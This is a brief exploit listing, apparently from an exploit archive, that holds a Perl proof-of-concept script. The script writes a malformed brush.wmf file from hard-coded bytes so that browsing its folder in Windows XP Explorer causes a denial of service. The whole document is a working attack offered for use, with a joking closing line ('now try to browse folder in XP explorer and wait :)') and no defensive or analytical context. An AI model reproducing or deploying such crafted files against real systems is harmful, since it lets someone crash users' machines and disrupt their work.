MS Windows Explorer (WMF) CreateBrushIndirect DoS Exploit

#!/usr/bin/perl print "\nWMF PoC denial of service exploit by cyanid-E <biz4rre\@gmail.com>"; print "\n\ngenerating brush.wmf..."; open(WMF, ">./brush.wmf") or die "cannot create wmf file\n"; print WMF "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x63\x79\x61\x6E\x69\x64"; print WMF "\x2D\x45\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00"; print WMF "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; print WMF "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00"; print WMF "\x00\x00\x00\x00"; close(WMF); print "ok\n\nnow try to browse folder in XP explorer and wait :)\n";